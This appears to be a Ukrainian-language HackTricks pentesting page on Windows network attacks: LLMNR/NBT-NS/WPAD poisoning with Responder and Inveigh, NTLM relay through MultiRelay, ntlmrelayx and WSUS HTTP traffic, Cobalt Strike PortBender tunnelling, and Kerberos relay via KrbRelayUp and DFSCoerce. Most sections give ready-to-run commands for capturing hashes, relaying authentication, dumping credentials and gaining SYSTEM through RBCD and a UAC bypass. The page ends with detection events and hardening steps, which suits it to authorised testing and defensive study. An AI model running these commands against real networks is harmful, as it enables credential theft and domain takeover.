24 KiB
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
{{#include ../../banners/hacktricks-training.md}}
Мережеві протоколи
Local Host Resolution Protocols
- LLMNR, NBT-NS, and mDNS:
- Microsoft та інші операційні системи використовують LLMNR і NBT-NS для локального розв'язання імен, коли DNS не працює. Аналогічно, системи Apple і Linux використовують mDNS.
- Ці протоколи вразливі до перехоплення та spoofing через їхню неавтентифіковану, широкомовну природу поверх UDP.
- Responder може використовуватись для імітації сервісів шляхом відправки підроблених відповідей хостам, що роблять запити цими протоколами.
- Додаткову інформацію про імітацію сервісів за допомогою Responder можна знайти тут.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD дозволяє браузерам автоматично виявляти налаштування проксі.
- Виявлення здійснюється через DHCP, DNS або повернення до LLMNR та NBT-NS, якщо DNS не спрацював.
- Responder може автоматизувати WPAD-атаки, спрямовуючи клієнтів на шкідливі WPAD-сервери.
Responder for Protocol Poisoning
- Responder — інструмент для отруєння (poisoning) запитів LLMNR, NBT-NS та mDNS, вибірково відповідає в залежності від типу запиту, головним чином націлений на SMB-сервіси.
- Він попередньо встановлений в Kali Linux, конфігурується в
/etc/responder/Responder.conf
. - Responder показує захоплені хеші на екрані та зберігає їх у директорії
/usr/share/responder/logs
. - Підтримує як IPv4, так і IPv6.
- Windows-версія Responder доступна тут.
Running Responder
- To run Responder with default settings:
responder -I <Interface>
- For more aggressive probing (with potential side effects):
responder -I <Interface> -P -r -v
- Techniques to capture NTLMv1 challenges/responses for easier cracking:
responder -I <Interface> --lm --disable-ess
- WPAD impersonation can be activated with:
responder -I <Interface> --wpad
- NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up:
responder.py -I <interface> -Pv
DHCP Poisoning with Responder
- Підробка DHCP-відповідей може постійно отруїти маршрутизаційну інформацію жертви, пропонуючи менш помітну альтернативу ARP poisoning.
- Це вимагає точного знання конфігурації цільової мережі.
- Запуск атаки:
./Responder.py -I eth0 -Pdv
- Цей метод ефективно дозволяє захоплювати NTLMv1/2 хеші, але потребує обережного виконання, щоб уникнути порушень роботи мережі.
Capturing Credentials with Responder
- Responder буде імітувати сервіси, використовуючи вищезазначені протоколи, захоплюючи облікові дані (зазвичай NTLMv2 Challenge/Response), коли користувач намагається автентифікуватися проти підроблених сервісів.
- Можна намагатись знизити рівень захисту до NetNTLMv1 або вимкнути ESS для полегшення злому облікових даних.
Вкрай важливо зазначити, що застосування цих технік має здійснюватися законно і етично, з належною авторизацією та униканням порушення або несанкціонованого доступу.
Inveigh
Inveigh — інструмент для penetration testers and red teamers, призначений для Windows-систем. Він надає функціонал, схожий на Responder, виконуючи spoofing та man-in-the-middle атаки. Інструмент еволюціонував від PowerShell-скрипту до C# бінарника, з Inveigh та InveighZero як основними версіями. Детальні параметри та інструкції можна знайти у wiki.
Inveigh can be operated through PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Або виконано як двійковий файл C#:
Inveigh.exe
NTLM Relay Attack
Ця атака використовує сеанси аутентифікації SMB для отримання доступу до цільової машини і надання system shell у разі успіху. Ключові передумови включають:
- Аутентифікований користувач повинен мати доступ Local Admin на хості, куди пересилається аутентифікація.
- SMB signing має бути вимкнено.
445 Перенаправлення та тунелювання порту
У випадках, коли прямий мережевий доступ неможливий, трафік на порті 445 потрібно перенаправити та тунелювати. Інструменти на зразок PortBender допомагають перенаправляти трафік порту 445 на інший порт, що важливо, коли є доступ Local Admin для завантаження драйвера.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Інші інструменти для NTLM Relay Attack
- Metasploit: Налаштовується з використанням проксі, деталей локального та віддаленого хостів.
- smbrelayx: Python-скрипт для ретранслювання SMB-сесій та виконання команд або розгортання backdoors.
- MultiRelay: Інструмент із набору Responder для ретранслювання конкретних користувачів або всіх користувачів, виконання команд або dump hashes.
Кожний інструмент може бути налаштований на роботу через SOCKS proxy за потреби, що дозволяє проводити атаки навіть при непрямому доступі до мережі.
Робота MultiRelay
MultiRelay запускається з директорії /usr/share/responder/tools, орієнтуючись на конкретні IP-адреси або користувачів.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Ці інструменти та техніки становлять комплексний набір для проведення NTLM Relay атак у різних мережевих середовищах.
Зловживання WSUS HTTP (8530) для NTLM Relay до LDAP/SMB/AD CS (ESC8)
WSUS клієнти автентифікуються до свого update-сервера за допомогою NTLM поверх HTTP (8530) або HTTPS (8531). Коли HTTP увімкнено, періодичні перевірки клієнтів можна змусити або перехопити в локальному сегменті і ретранслювати за допомогою ntlmrelayx до LDAP/LDAPS/SMB або AD CS HTTP endpoint-ів (ESC8) без злому хешів. Це зливається з нормальним трафіком оновлень і часто дає автентифікації машинних акаунтів (HOST$).
What to look for
- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Розвідка
- Неаутентифіковано
- Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Аутентифіковано
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
-
Займіть позицію для MITM (той же L2), щоб клієнт резолвив WSUS server на вас (ARP/DNS poisoning, Bettercap, mitm6, etc.). Приклад з arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>
-
Перенаправте порт 8530 на свій relay listener (необов’язково, зручно): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers
-
Запустіть ntlmrelayx з HTTP listener-ом (потребує підтримки HTTP listener в Impacket; див. PR-ри нижче): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530
Інші поширені цілі:
- Relay to SMB (if signing off) for exec/dump: -t smb://
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:
{{#ref}} ../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md {{#endref}}
-
Викличте перевірку клієнта або дочекайтесь за розкладом. На клієнті: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).
-
Використовуйте аутентифіковані SOCKS-сесії (якщо -socks) або прямі результати relay для post-exploitation (LDAP зміни, SMB операції або випуск сертифіката через AD CS для подальшої автентифікації).
HTTPS constraint (8531)
- Пасивний перехоплення WSUS через HTTPS неефективне, якщо клієнти не довіряють вашому сертифікату. Без довіреного сертифікату або іншого розриву TLS, NTLM handshake неможливо зібрати/ретранслювати з WSUS HTTPS трафіку.
Примітки
- WSUS було оголошено deprecated, але залишається поширеним; HTTP (8530) досі часто використовується в багатьох середовищах.
- Корисні помічники: wsusniff.py (спостереження HTTP WSUS check-in), wsuspider.sh (перераховує WUServer/WUStatusServer з GPO), NetExec reg-query для масового опитування.
- Impacket відновив підтримку HTTP listener-а для ntlmrelayx у PR #2034 (спочатку додано в PR #913).
Примусові NTLM логіни
В Windows ви можете змусити деякі привілейовані акаунти автентифікуватися на довільних машинах. Прочитайте наступну сторінку, щоб дізнатися як:
{{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}}
Kerberos Relay attack
A Kerberos relay attack викрадає AP-REQ ticket з одного сервісу і повторно використовує його проти другого сервісу, який має той самий computer-account key (бо обидва SPN сидять на одному $
machine account). Це працює навіть якщо service classes SPN різняться (наприклад CIFS/
→ LDAP/
), тому що ключ, який дешифрує ticket — це NT hash машини, а не рядок SPN, і рядок SPN не є частиною підпису.
На відміну від NTLM relay, перехід обмежений тим же хостом, але якщо ви націлені на протокол, який дозволяє писати в LDAP, ви можете зв’язати це в Resource-Based Constrained Delegation (RBCD) або AD CS enrollment і отримати NT AUTHORITY\SYSTEM за один раз.
For detailed info about this attack check:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
Token | Purpose | Relay relevance |
---|---|---|
TGT / AS-REQ ↔ REP | Підтверджує користувача перед KDC | не зачіпається |
Service ticket / TGS-REQ ↔ REP | Прив’язаний до одного SPN; зашифрований ключем власника SPN | взаємозамінний, якщо SPN прив’язані до одного акаунта |
AP-REQ | Клієнт надсилає TGS сервісу |
що ми викрадаємо та повторно використовуємо |
- Квитки зашифровані ключем, похідним від пароля акаунта, що володіє SPN.
- Authenticator всередині AP-REQ має 5-хвилинну мітку часу; повторний програвання в цьому вікні є валідним, поки кеш сервісу не виявить дубліката.
- Windows рідко перевіряє, чи рядок SPN у ticket збігається з сервісом, до якого ви звертаєтесь, тож ticket для
CIFS/HOST
зазвичай успішно дешифрується наLDAP/HOST
.
-
- What must be true to relay Kerberos
- Shared key: джерельні та цільові SPN належать одному й тому ж computer account (за замовчуванням на Windows серверах).
- No channel protection: SMB/LDAP signing вимкнено та EPA вимкнено для HTTP/LDAPS.
- You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM тощо.
- Ticket source not already used: ви маєте перемогти в гонитві до того, як реальний пакет дійде, або повністю його заблокувати; інакше кеш повторів сервера зафіксує Event 4649.
- Вам якось потрібно вміти виконувати MitM у комунікації — наприклад бути в групі DNSAmins щоб змінювати DNS домену або мати змогу змінити HOST файл жертви.
Kerberos Relay Steps
- 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Запустіть relay listener
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
упаковує KrbRelay → LDAP → RBCD → Rubeus → SCM bypass в один binary.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce змушує DC надіслати нам Kerberos CIFS/DC01
квиток.
- 3.4 Relay the AP-REQ
KrbRelay витягує GSS blob із SMB, пакує його в LDAP bind і пересилає на ldap://DC01
— автентифікація вдається, оскільки той самий ключ його розшифровує.
- 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Тепер ви володієте NT AUTHORITY\SYSTEM.
Більше шляхів, які варто знати
Вектор | Хитрість | Чому це важливо |
---|---|---|
AuthIP / IPSec | Підроблений сервер надсилає GSS-ID payload з будь-яким SPN; клієнт формує AP-REQ безпосередньо до вас | Працює навіть через підмережі; машинні облікові дані за замовчуванням |
DCOM / MSRPC | Зловмисний OXID resolver змушує клієнта автентифікуватися до довільного SPN і порту | Чисте локальне priv-esc; обходить firewall |
AD CS Web Enroll | Переслати машинний квиток до HTTP/CA і отримати сертифікат, потім PKINIT для випуску TGTs |
Обминає захист підписування LDAP |
Shadow Credentials | Записати msDS-KeyCredentialLink , потім PKINIT з підробленою парою ключів |
Немає потреби додавати обліковий запис комп’ютера |
Усунення неполадок
Помилка | Значення | Виправлення |
---|---|---|
KRB_AP_ERR_MODIFIED |
Ключ квитка ≠ ключ цілі | Невірний хост/SPN |
KRB_AP_ERR_SKEW |
Годинник має зсув > 5 хв | Синхронізуйте час або використайте w32tm |
LDAP bind fails | Підписування примусово ввімкнено | Використайте шлях AD CS або вимкніть підписування |
Event 4649 spam | Сервіс побачив дубльований Authenticator | Блокувати або випередити оригінальний пакет |
Виявлення
- Сплеск у Event 4769 для
CIFS/
,HTTP/
,LDAP/
з одного джерела протягом кількох секунд. - Event 4649 на сервісі вказує на виявлення replay.
- Kerberos логон з 127.0.0.1 (relay до локального SCM) є вкрай підозрілим — відстежуйте через правило Sigma у документації KrbRelayUp.
- Слідкуйте за змінами атрибутів
msDS-AllowedToActOnBehalfOfOtherIdentity
абоmsDS-KeyCredentialLink
.
Підсилення захисту
- Примусово ввімкніть підписування LDAP і SMB та EPA на кожному сервері.
- Розділіть SPN так, щоб HTTP не був на тому ж обліковому записі, що й CIFS/LDAP.
- Запатчіть вектори примусу (PetitPotam KB5005413, DFS, AuthIP).
- Встановіть
ms-DS-MachineAccountQuota = 0
щоб зупинити несанкціоновані приєднання комп’ютерів. - Налаштуйте оповіщення щодо Event 4649 та несподіваних loopback Kerberos логонів.
Джерела
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure – Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 – Restore HTTP server in ntlmrelayx
- Impacket PR #913 – HTTP relay support
- WSUScripts – wsusniff.py
- WSUScripts – wsuspider.sh
- MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
- Microsoft – WSUS deprecation announcement
{{#include ../../banners/hacktricks-training.md}}